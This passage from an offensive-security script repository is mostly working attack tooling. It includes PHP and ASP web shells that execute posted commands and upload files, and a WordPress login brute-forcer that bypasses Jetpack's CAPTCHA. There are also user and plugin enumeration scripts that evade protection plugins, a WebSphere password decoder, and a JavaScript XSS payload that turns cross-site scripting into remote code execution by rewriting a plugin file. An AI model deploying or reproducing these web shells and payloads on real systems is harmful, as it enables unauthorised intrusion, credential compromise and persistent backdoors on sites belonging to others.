" does not use Shodan API and does not consume your credits
7 |
8 | #Author: Interference Security
9 |
10 | import sys
11 | from subprocess import check_output
12 |
13 | o = open(sys.argv[1], "r")
14 | data = o.readlines()
15 | for ipaddr in data:
16 | ipaddr = (ipaddr.replace("\n","")).replace("\r","")
17 | try:
18 | out = check_output(["shodan", "host", ipaddr])
19 | f = open(sys.argv[2], "a")
20 | f.write(out)
21 | f.write("\n")
22 | print out
23 | f.close()
24 | except:
25 | pass
26 |
--------------------------------------------------------------------------------
/simple-https-server.py:
--------------------------------------------------------------------------------
1 | #openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
2 | import BaseHTTPServer, SimpleHTTPServer, logging
3 | import ssl
4 | import sys
5 | import cgi
6 |
7 | class GetHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
8 |
9 | def do_GET(self):
10 | #logging.error(self.headers)
11 | #for item in dir(self):
12 | # try:
13 | # print "[*] "+item
14 | # logging.error(self.item)
15 | # except Exception as e:
16 | # print str(e)
17 | #request_path = self.path
18 | raw_request_line = self.raw_requestline
19 | #print dir(self)
20 | #import pdb; pdb.set_trace()
21 | print "\n----- Request Start ----->"
22 | print raw_request_line
23 | print self.headers
24 | print "<----- Request End ----->"
25 | SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)
26 |
27 | def do_POST(self):
28 | #logging.error(self.headers)
29 | #form = cgi.FieldStorage(fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
30 | #for item in form.list:
31 | # logging.error(item)
32 | request_path = self.path
33 | raw_request_line = self.raw_requestline
34 | print "\n----- Request Start ----->"
35 | print raw_request_line
36 | print self.headers
37 | print "<----- Request End ----->"
38 | print "<----- Request Body Start ----->"
39 | print self.rfile.readlines()
40 | print "<----- Request Body End ----->"
41 | SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)
42 |
43 | do_PUT = do_POST
44 |
45 | Handler = GetHandler
46 | listen_ip = sys.argv[1]
47 | listen_port = int(sys.argv[2])
48 | httpd = BaseHTTPServer.HTTPServer((listen_ip, listen_port), Handler)
49 | print "[*] Listening on %s on port %s" % (listen_ip, listen_port)
50 | httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
51 | httpd.serve_forever()
52 |
--------------------------------------------------------------------------------
/web_capture.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/bash
2 |
3 | # Takes screenshot of a web page using selenium
4 |
5 | # Usage 1:
6 | # File containing line separated URLs:
7 | # python web_capture.py url_file.txt
8 |
9 | # Usage 2:
10 | # List of URLs hardcoded in "urls = []"
11 | # Example: urls = ["http://127.0.0.1","https://127.0.0.1"]
12 |
13 | # one line code
14 | # python -c "from selenium import webdriver; driver = webdriver.Firefox(); driver.get('http://127.0.0.1'); driver.save_screenshot('capture.png'); driver.quit()"
15 |
16 | try:
17 | import sys
18 | from selenium import webdriver
19 | except:
20 | print "[!] You should have selenium installed. Run: pip install selenium"
21 | sys.exit(1)
22 |
23 | urls = []
24 | if len(sys.argv)>=2:
25 | f = open(sys.argv[1], "r")
26 | data = f.readlines()
27 | del urls[:]
28 | for test_url in data:
29 | test_url = (test_url.replace("\r","")).replace("\n","")
30 | urls.append(test_url)
31 |
32 | #https://github.com/ariya/phantomjs
33 | #driver = webdriver.PhantomJS("/path/to/phantomjs/binary/file")
34 |
35 | #https://sites.google.com/a/chromium.org/chromedriver/downloads
36 | #driver = webdriver.Chrome("/path/to/chromedriver/binary/file")
37 |
38 | driver = webdriver.Firefox()
39 | count = 0;
40 | for myurl in urls:
41 | driver.get(myurl)
42 | driver.save_screenshot(str(count)+'.png')
43 | count = count + 1
44 | driver.quit()
45 |
--------------------------------------------------------------------------------
/webshell/mysql-cmd-upload.php:
--------------------------------------------------------------------------------
1 |
11 |
29 |
39 |
51 | SQL Query: ".htmlentities($squery)."
";
69 | $conn = new mysqli($servername, $dbuname, $dbpass, $dbname);
70 | // Check connection
71 | if ($conn->connect_error)
72 | {
73 | die("Connection failed: " . $conn->connect_error);
74 | }
75 |
76 | $result = $conn->query($squery);
77 |
78 | if ($result->num_rows > 0)
79 | {
80 | $start = 0;
81 | // output data of each row
82 | echo '';
83 | while($row = $result->fetch_assoc())
84 | {
85 | if($start==0)
86 | {
87 | $col_names = array_keys($row);
88 | echo "";
89 | foreach($col_names as $col)
90 | {
91 | echo "$col | ";
92 | }
93 | echo "
";
94 | $start++;
95 | }
96 | //echo "";
97 | //print_r($row);
98 | //echo "
";
99 | echo "";
100 | foreach($row as $val)
101 | {
102 | echo "$val | ";
103 | }
104 | echo "
";
105 | }
106 | echo '
';
107 | }
108 | else
109 | {
110 | echo "0 results";
111 | }
112 | $conn->close();
113 | }
114 | elseif(isset($_POST['cmd']))//For command execution
115 | {
116 | echo "Command: ".htmlentities($_POST['cmd'])."
";
117 | echo "Output:
";
118 | echo "";
119 | highlight_string(shell_exec($_POST['cmd']));
120 | echo "
";
121 | }
122 | elseif(isset($_FILES['myfile']) && isset($_POST['tpath']))
123 | {
124 | $target_path = $_POST['tpath'];
125 | $target_path = $target_path.basename($_FILES['myfile']['name']);
126 | echo "File Upload: ";
127 | if(move_uploaded_file($_FILES['myfile']['tmp_name'], $target_path))
128 | {
129 | echo "The file ".htmlentities(basename($_FILES['myfile']['name']))." has been uploaded";
130 | }
131 | else
132 | {
133 | echo "There was an error uploading the file, please try again!";
134 | }
135 | echo "";
136 | }
137 | else
138 | {
139 |
140 | }
141 | }
142 | }
143 | ?>
144 |
--------------------------------------------------------------------------------
/webshell/shell.asp:
--------------------------------------------------------------------------------
1 | <%
2 | Server.ScriptTimeout = 180
3 | Dim wshell, intReturn, strPResult, objCmd, cmd
4 | if Request.Form("submit") <> "" then
5 | cmd = Request.Form("cmd")
6 | Response.Write("Running command: " & cmd & "
")
7 | wshell = CreateObject("WScript.Shell")
8 | objCmd = wShell.Exec(cmd)
9 | strPResult = objCmd.StdOut.Readall()
10 | response.write("
" & replace(replace(strPResult,"<","<"),vbCrLf,"
") & "
")
11 | wshell = nothing
12 | end if
13 |
14 | %>
15 |
16 |
17 |
18 |
25 |
26 |
27 |
--------------------------------------------------------------------------------
/webshell/shell.php:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/websphere-xor-password-decode-encode.py:
--------------------------------------------------------------------------------
1 | # Decode and Encode WebSphere XOR Password
2 | # Base code from: https://gist.github.com/metall0id/bb3e9bab2b7caee90cb7
3 |
4 | try:
5 | import base64
6 | import argparse
7 | import sys
8 | except:
9 | print "Require following Python packages:\n base64, argparse, sys\n"
10 | print "How to install:\npip install \neasy_install \n"
11 | sys.exit(0)
12 |
13 | parser = argparse.ArgumentParser(description="WebSpere XOR Password Decoder/Encoder")
14 | parser.add_argument('-e', '--encode', help='Encode password', action='store_true')
15 | parser.add_argument('-d', '--decode', help='Decode password', action='store_true')
16 | parser.add_argument('password', help='Password to decode/encode')
17 | args = parser.parse_args()
18 |
19 | return_data = ""
20 |
21 | if args.password:
22 | print ""
23 | if args.encode:
24 | try:
25 | for character in args.password:
26 | return_data += chr(ord(character) ^ ord('_'))
27 | return_data = base64.b64encode(return_data)
28 | print "Decoded Password: " + args.password
29 | print "Encoded Password: {xor}" + return_data
30 | except Exception as e:
31 | print "Exception: " + str(e)
32 | elif args.decode:
33 | try:
34 | if args.password.startswith('{xor}'):
35 | args.password = args.password.replace('{xor}', '')
36 | for character in base64.b64decode(args.password):
37 | return_data += chr(ord(character) ^ ord('_'))
38 | print "Encoded Password: {xor}" + args.password
39 | print "Decoded Password: " + return_data
40 | except Exception as e:
41 | print "Exception: " + str(e)
42 | else:
43 | parse.print_help()
44 | else:
45 | parser.print_help()
46 |
--------------------------------------------------------------------------------
/windows-bins/calc.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/interference-security/scripts-tools-shells/3d67f32e0a7bb0f784a3dd4f64b3fdbab2fe4169/windows-bins/calc.exe
--------------------------------------------------------------------------------
/windows-bins/cmd.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/interference-security/scripts-tools-shells/3d67f32e0a7bb0f784a3dd4f64b3fdbab2fe4169/windows-bins/cmd.exe
--------------------------------------------------------------------------------
/windows-bins/readme.md:
--------------------------------------------------------------------------------
1 | # Windows Binaries
2 |
--------------------------------------------------------------------------------
/wordpress/wp_full_path_disclosure.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | #Python script to perform WordPress FPD check
4 | #Tested on:
5 | #Windows,Linux
6 | #WordPress v4.2.2
7 |
8 | try:
9 | from bs4 import BeautifulSoup
10 | import urllib2
11 | import requests
12 | import argparse
13 | import ssl
14 | except Exception,e:
15 | print "[!] Error: "+str(e)
16 | print "[*] Make sure you have the following Python modules installed:\n\tbs4, urllib2, requests, argparse, ssl, lxml"
17 | exit(0)
18 |
19 | parser = argparse.ArgumentParser(description='Check for WordPress Full Path Disclosure vulnerability')
20 | parser.add_argument('-t','--target', help='WordPress target', required=True)
21 | parser.add_argument('-v','--verbose', help='Show verbose message', action='store_const', const=True)
22 | parser.add_argument('-o','--outfile', help='Save output in file')
23 | args = parser.parse_args()
24 | target = args.target.encode('utf-8')
25 |
26 | if target.endswith("/"):
27 | target = target[:-1]
28 |
29 | if hasattr(ssl, '_create_unverified_context'):
30 | ssl._create_default_https_context = ssl._create_unverified_context
31 |
32 | def checker(base_path, target_paths):
33 | for i in target_paths:
34 | try:
35 | target_url = target+base_path+str(i)
36 | if args.verbose:
37 | print "[-] Trying: "+target_url
38 | r = requests.get(target_url, verify=False)
39 | sc = r.status_code
40 | if sc != 404 and sc != 500 and sc != 403:
41 | html = urllib2.urlopen(target_url)
42 | soup = BeautifulSoup(html.read(), "lxml")
43 | allb = soup.find_all("b")
44 | #print allb[1]
45 | try:
46 | res = (str(allb[1]).replace("","")).replace("","")
47 | print "[*] Found: " + str(target_url) + " : " + str(res)
48 | if args.outfile:
49 | f = open(args.outfile, "a")
50 | f.write("[*] Found: " + str(target_url) + " : " + str(res) + "\n")
51 | f.close()
52 | except Exception,e:
53 | #print str(e)
54 | pass
55 | except Exception,e:
56 | #print "Exception occurred"
57 | print str(e)
58 |
59 | print "[*] Started"
60 | requests.packages.urllib3.disable_warnings()
61 | #wp-includes check
62 | print "[*] Checking in 'wp-includes' directory"
63 | wp_includes_path = "/wp-includes/"
64 | target_paths=["admin-bar.php", "atomlib.php", "author-template.php", "bookmark-template.php", "bookmark.php", "cache.php", "canonical.php", "capabilities.php", "category-template.php", "category.php", "class-IXR.php", "class-feed.php", "class-http.php", "class-json.php", "class-oembed.php", "class-phpass.php", "class-phpmailer.php", "class-pop3.php", "class-simplepie.php", "class-smtp.php", "class-snoopy.php", "class-wp-admin-bar.php", "class-wp-ajax-response.php", "class-wp-customize-control.php", "class-wp-customize-manager.php", "class-wp-customize-panel.php", "class-wp-customize-section.php", "class-wp-customize-setting.php", "class-wp-customize-widgets.php", "class-wp-editor.php", "class-wp-embed.php", "class-wp-error.php", "class-wp-http-ixr-client.php", "class-wp-image-editor-gd.php", "class-wp-image-editor-imagick.php", "class-wp-image-editor.php", "class-wp-theme.php", "class-wp-walker.php", "class-wp-xmlrpc-server.php", "class-wp.php", "class.wp-dependencies.php", "class.wp-scripts.php", "class.wp-styles.php", "comment-template.php", "comment.php", "compat.php", "cron.php", "date.php", "default-constants.php", "default-filters.php", "default-widgets.php", "deprecated.php", "feed-atom-comments.php", "feed-atom.php", "feed-rdf.php", "feed-rss.php", "feed-rss2-comments.php", "feed-rss2.php", "feed.php", "files.txt", "formatting.php", "functions.php", "functions.wp-scripts.php", "functions.wp-styles.php", "general-template.php", "http.php", "kses.php", "l10n.php", "link-template.php", "load.php", "locale.php", "media-template.php", "media.php", "meta.php", "ms-blogs.php", "ms-default-constants.php", "ms-default-filters.php", "ms-deprecated.php", "ms-files.php", "ms-functions.php", "ms-load.php", "ms-settings.php", "nav-menu-template.php", "nav-menu.php", "option.php", "pluggable-deprecated.php", "pluggable.php", "plugin.php", "post-formats.php", "post-template.php", "post-thumbnail-template.php", "post.php", "query.php", "registration-functions.php", "registration.php", "revision.php", "rewrite.php", "rss-functions.php", "rss.php", "script-loader.php", "session.php", "shortcodes.php", "taxonomy.php", "template-loader.php", "template.php", "theme.php", "update.php", "user.php", "vars.php", "version.php", "widgets.php", "wp-db.php", "wp-diff.php"]
65 | checker(wp_includes_path, target_paths)
66 | #wp-admin check
67 | print "[*] Checking in 'wp-admin' directory"
68 | wp_admin_path = "/wp-admin/"
69 | target_paths=["about.php", "admin-ajax.php", "admin-footer.php", "admin-functions.php", "admin-header.php", "admin-post.php", "admin.php", "async-upload.php", "comment.php", "credits.php", "custom-background.php", "custom-header.php", "customize.php", "edit-comments.php", "edit-form-advanced.php", "edit-form-comment.php", "edit-link-form.php", "edit-tag-form.php", "edit-tags.php", "edit.php", "export.php", "freedoms.php", "import.php", "index.php", "install-helper.php", "install.php", "link-add.php", "link-manager.php", "link-parse-opml.php", "link.php", "load-scripts.php", "load-styles.php", "media-new.php", "media-upload.php", "media.php", "menu-header.php", "menu.php", "moderation.php", "ms-admin.php", "ms-delete-site.php", "ms-edit.php", "ms-options.php", "ms-sites.php", "ms-themes.php", "ms-upgrade-network.php", "ms-users.php", "my-sites.php", "nav-menus.php", "network.php", "options-discussion.php", "options-general.php", "options-head.php", "options-media.php", "options-permalink.php", "options-reading.php", "options-writing.php", "options.php", "plugin-editor.php", "plugin-install.php", "plugins.php", "post-new.php", "post.php", "press-this.php", "profile.php", "revision.php", "setup-config.php", "theme-editor.php", "theme-install.php", "themes.php", "tools.php", "update-core.php", "update.php", "upgrade-functions.php", "upgrade.php", "upload.php", "user-edit.php", "user-new.php", "users.php", "widgets.php"]
70 | checker(wp_admin_path, target_paths)
71 | print "[*] Completed"
72 |
--------------------------------------------------------------------------------
/wordpress/wp_login_attack_jetpack.py:
--------------------------------------------------------------------------------
1 | try:
2 | import mechanize
3 | #import cookielib
4 | import re
5 | import argparse
6 | import warnings
7 | except Exception,e:
8 | print "[!] Error: "+str(e)
9 | print "[*] Make sure you have the following Python modules installed:\n\tmechanize, re, argparse, warning"
10 | exit(0)
11 |
12 | warnings.filterwarnings("ignore")
13 |
14 | parser = argparse.ArgumentParser(description="WordPress login page attack. Supports 'Jetpack' plugin protection bypass.\n")
15 | parser.add_argument('-t','--target', help='WordPress target', required=True)
16 | parser.add_argument('-u','--user', help='WordPress username to attack', required=True)
17 | parser.add_argument('-p','--plist', help='File containing passwords', required=True)
18 | parser.add_argument('-x','--proxy', help='HTTP/HTTPS proxy setting (ip_address:port)')
19 | parser.add_argument('-v','--verbose', help='Show verbose message', action='store_const', const=True)
20 | args = parser.parse_args()
21 |
22 | target = args.target.encode('utf-8')
23 | wp_username = args.user.encode('utf-8')
24 | pass_file = args.plist.encode('utf-8')
25 | wp_jetpack_protect_num = ""
26 |
27 | if target.endswith("/"):
28 | target = target[:-1]
29 |
30 | target = target+"/wp-login.php"
31 |
32 | f = open(pass_file, "r")
33 | pass_list = f.readlines()
34 |
35 | for wp_password in pass_list:
36 | try:
37 | wp_password = (wp_password.replace("\r", "")).replace("\n", "")
38 | # Browser
39 | br = mechanize.Browser()
40 |
41 | #Set proxy
42 | if args.proxy:
43 | br.set_proxies({"http": args.proxy, "https": args.proxy})
44 |
45 | # Cookie Jar
46 | #cj = cookielib.LWPCookieJar()
47 | #br.set_cookiejar(cj)
48 |
49 | # Browser options
50 | br.set_handle_equiv(True)
51 | br.set_handle_gzip(True)
52 | br.set_handle_redirect(True)
53 | br.set_handle_referer(True)
54 | br.set_handle_robots(False)
55 |
56 | # User-Agent (this is cheating, ok?)
57 | br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
58 |
59 | r = br.open(target)
60 |
61 | lines = str(br.response().read())
62 |
63 | #print "[*] HTML source of the target URL: " + target + "\n" + lines
64 |
65 | if "jetpack_protect_num" in lines:
66 | # lines = '5 + 10 = '
67 | searchObj = re.search( '(\d{1,}) \ \; \+ \ \; (\d{1,}) \ \; \= \ \;', lines, re.M|re.I)
68 | if searchObj:
69 | if args.verbose:
70 | print "[+] Jetpack Pattern : ", searchObj.group()
71 | print "\t[-] Jetpack 1st digit : ", searchObj.group(1)
72 | print "\t[-] jetpack 2nd digit : ", searchObj.group(2)
73 | wp_jetpack_protect_num = str(int(searchObj.group(1)) + int(searchObj.group(2)))
74 | else:
75 | if args.verbose:
76 | print "[!] Jetpack pattern not found"
77 |
78 | # Show the available forms
79 | #if args.verbose:
80 | # for f in br.forms():
81 | # print f
82 |
83 | # Select the first (index zero) form
84 | br.select_form(nr=0)
85 |
86 | br.form['log'] = wp_username
87 | br.form['pwd'] = wp_password
88 | if len(wp_jetpack_protect_num)>=1:
89 | br.form['jetpack_protect_num'] = wp_jetpack_protect_num
90 | if args.verbose:
91 | print "[-] Trying: " + wp_username + " : " + wp_password
92 | br.submit()
93 | #print br.response().read()
94 | if "Log Out" in br.response().read():
95 | print "[*] Found: " + wp_username + " : " + wp_password
96 | except Exception,e:
97 | print "Exception occurred" + str(e)
98 |
--------------------------------------------------------------------------------
/wordpress/wp_login_user_enumeration.py:
--------------------------------------------------------------------------------
1 | #Python script for user enumeration from WordPress login page
2 | #It works even if plugins like "Unified Login Error Messages" is installed
3 |
4 | try:
5 | import requests
6 | import sys
7 | import argparse
8 | import ssl
9 | except Exception,e:
10 | print "[!] Error: "+str(e)
11 | print "[*] Make sure you have the following Python modules installed:\n\trequests, argparse, ssl"
12 | exit(0)
13 |
14 | parser = argparse.ArgumentParser(description="WordPress login page user enumeration. Supports 'Unified Login Error Messages' plugin bypass. Technique Reference:\nT1 = Check for 'value=\"\"'\nT2 = Check for \"document.getElementById('user_pass')\"\n")
15 | parser.add_argument('-t','--target', help='WordPress target', required=True)
16 | parser.add_argument('-u','--users', help='File containing usernames', required=True)
17 | parser.add_argument('-o','--outfile', help='Save output in file')
18 | parser.add_argument('-v','--verbose', help='Show verbose message', action='store_const', const=True)
19 | args = parser.parse_args()
20 | target = args.target.encode('utf-8')
21 | user_file = args.users.encode('utf-8')
22 |
23 | f = open(user_file, "r")
24 | user_list = f.readlines()
25 |
26 | #proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080",}
27 | cookies = dict(wordpress_test_cookie='WP Cookie Check')
28 |
29 | if hasattr(ssl, '_create_unverified_context'):
30 | ssl._create_default_https_context = ssl._create_unverified_context
31 |
32 | try:
33 | requests.packages.urllib3.disable_warnings()
34 | except:
35 | pass
36 |
37 | for user in user_list:
38 | try:
39 | user = (user.replace("\r", "")).replace("\n", "")
40 | if args.verbose:
41 | print "[-] Trying: " + user
42 | post_data = {"log":user, "pwd":"AnyInvalidPass", "wp-submit":"Log In", "redirect_to":target+"/wp-admin/", "testcookie":"1"}
43 | #r = requests.post(target+"/wp-login.php", data=post_data, proxies=proxies, cookies=cookies, verify=False)
44 | r = requests.post(target+"/wp-login.php", data=post_data, cookies=cookies, verify=False)
45 | sc = r.text
46 | #print sc
47 | check1 = 'value="'+user+'"'
48 | check2 = "document.getElementById('user_pass')";
49 | #print check1
50 | #print check2
51 | #print int(sc.find(check1))
52 | if int(sc.find(check1)) > -1:
53 | print "[T1] Valid user: "+user
54 | if args.outfile:
55 | f = open(args.outfile, "a")
56 | f.write("[T1] Valid user: "+user+"\n")
57 | f.close()
58 | else:
59 | if int(sc.find(check2)) > -1:
60 | print "[T2] Valid user: "+user
61 | if args.outfile:
62 | f = open(args.outfile, "a")
63 | f.write("[T2] Valid user: "+user+"\n")
64 | f.close()
65 | except Exception,e:
66 | print "Exception occurred"
67 |
--------------------------------------------------------------------------------
/wordpress/wp_plugin_enum.py:
--------------------------------------------------------------------------------
1 | try:
2 | import requests
3 | import argparse
4 | import ssl
5 | except Exception,e:
6 | print "[!] Error: "+str(e)
7 | print "[*] Make sure you have the following Python modules installed:\n\trequests, argparse, ssl"
8 | exit(0)
9 |
10 | parser = argparse.ArgumentParser(description="WordPress plugin enumeration")
11 | parser.add_argument('-t','--target', help='WordPress target', required=True)
12 | parser.add_argument('-p','--plugins', help='File containing plugin names', required=True)
13 | parser.add_argument('-o','--outfile', help='Save output in file')
14 | parser.add_argument('-v','--verbose', help='Show verbose message', action='store_const', const=True)
15 | args = parser.parse_args()
16 | target = args.target.encode('utf-8')
17 | plugin_file = args.plugins.encode('utf-8')
18 |
19 | if target.endswith("/"):
20 | target = target[:-1]
21 |
22 | if hasattr(ssl, '_create_unverified_context'):
23 | ssl._create_default_https_context = ssl._create_unverified_context
24 |
25 | print "[*] Started"
26 |
27 | try:
28 | requests.packages.urllib3.disable_warnings()
29 | except:
30 | pass
31 |
32 | f = open(plugin_file, "r")
33 | data = f.readlines()
34 |
35 | print "\nNote: Append readme.txt or changelog.txt in same or different letter cases to open version file\n"
36 |
37 | for i in data:
38 | try:
39 | i = (i.replace("\r","")).replace("\n","")
40 | if args.verbose:
41 | print "[-] Trying: " + i
42 | r = requests.get(target+"/wp-content/plugins/"+i+"/", verify=False, allow_redirects=False)
43 | sc = r.status_code
44 | if sc != 404 and sc != 500 and sc != 403 and sc != 301 and sc != 302:
45 | print i + " : " + str(sc) + " : " + target + "/wp-content/plugins/" + i + "/"
46 | if args.outfile:
47 | f = open(args.outfile, "a")
48 | f.write(i + " : " + str(sc) + " : " + target + "/wp-content/plugins/" + i + "/" + "\n")
49 | f.close()
50 | except Exception,e:
51 | print "Exception occurred"
52 | print "[*] Completed"
53 |
--------------------------------------------------------------------------------
/wordpress/wp_user_enumeration_with_plugin_bypass.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | #Python script to perform WordPress user enumeration even if "Stop User Enumeration" plug-in is installed
4 | #Tested on:
5 | #Windows,Linux
6 | #WordPress v4.2.2
7 | #Stop User Enumeration v1.3.1
8 |
9 | try:
10 | from bs4 import BeautifulSoup
11 | import urllib2
12 | import requests
13 | import sys
14 | import argparse
15 | import ssl
16 | except Exception,e:
17 | print "[!] Error: "+str(e)
18 | print "[*] Make sure you have the following Python modules installed:\n\tbs4, urllib2, requests, argparse, ssl"
19 | exit(0)
20 |
21 | parser = argparse.ArgumentParser(description="WordPress user enumeration even if 'Stop User Enumeration' plug-in is installed")
22 | parser.add_argument('-t','--target', help='WordPress target', required=True)
23 | parser.add_argument('-s','--start', help='Author start number value', required=True, type=int)
24 | parser.add_argument('-e','--end', help='Author end number value', required=True, type=int)
25 | parser.add_argument('-o','--outfile', help='Save output in file')
26 | parser.add_argument('-v','--verbose', help='Show verbose message', action='store_const', const=True)
27 | args = parser.parse_args()
28 | target = args.target.encode('utf-8')
29 |
30 | if target.endswith("/"):
31 | target = target[:-1]
32 |
33 | if hasattr(ssl, '_create_unverified_context'):
34 | ssl._create_default_https_context = ssl._create_unverified_context
35 |
36 | print "[*] Started"
37 | try:
38 | requests.packages.urllib3.disable_warnings()
39 | except:
40 | pass
41 | for i in range(int(args.start),int(args.end)+1):
42 | try:
43 | target_url = target+"/?author="+str(i)
44 | if args.verbose:
45 | print "[-] Trying: " + target_url
46 | r = requests.get(target_url, verify=False)
47 | sc = r.status_code
48 | if sc==500:
49 | target_url = target+"/?a=b&author%00="+str(i)
50 | if args.verbose:
51 | print "[-] Trying: " + target+"/?a=b&author%00="+str(i)
52 | r = requests.get(target_url, verify=False)
53 | sc = r.status_code
54 | if sc != 404 and sc != 500 and sc != 403:
55 | html = urllib2.urlopen(target_url)
56 | soup = BeautifulSoup(html.read(), "lxml")
57 | tag = soup.body
58 | uname = (tag['class'][2]).replace("author-","")
59 | #print str(i) + " : " + str(sc)
60 | print str(i) + " : " + str(uname)
61 | if args.outfile:
62 | f = open(args.outfile, "a")
63 | f.write(str(i) + " : " + str(uname) + "\n")
64 | f.close()
65 | except Exception,e:
66 | #print "Exception occurred"
67 | print str(e)
68 | print "[*] Completed"
69 |
--------------------------------------------------------------------------------
/wordpress/wp_xss2rce.js:
--------------------------------------------------------------------------------
1 | //Source: https://twitter.com/brutelogic
2 |
3 | x=new XMLHttpRequest()
4 | p='/wp-admin/plugin-editor.php?'
5 | f='file=akismet/index.php'
6 | x.open('GET',p+f,0)
7 | x.send()
8 | $='_wpnonce='+/ce" value="([^"]*?)"/.exec(x.responseText)[1]+'&newcontent==`$_GET[brute]`;&action=update&'+f
9 | x.open('POST',p+f,1)
10 | x.setRequestHeader('Content-Type','application/x-www-form-urlencoded')
11 | x.send($)
12 |
--------------------------------------------------------------------------------
/wpshell.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/interference-security/scripts-tools-shells/3d67f32e0a7bb0f784a3dd4f64b3fdbab2fe4169/wpshell.zip
--------------------------------------------------------------------------------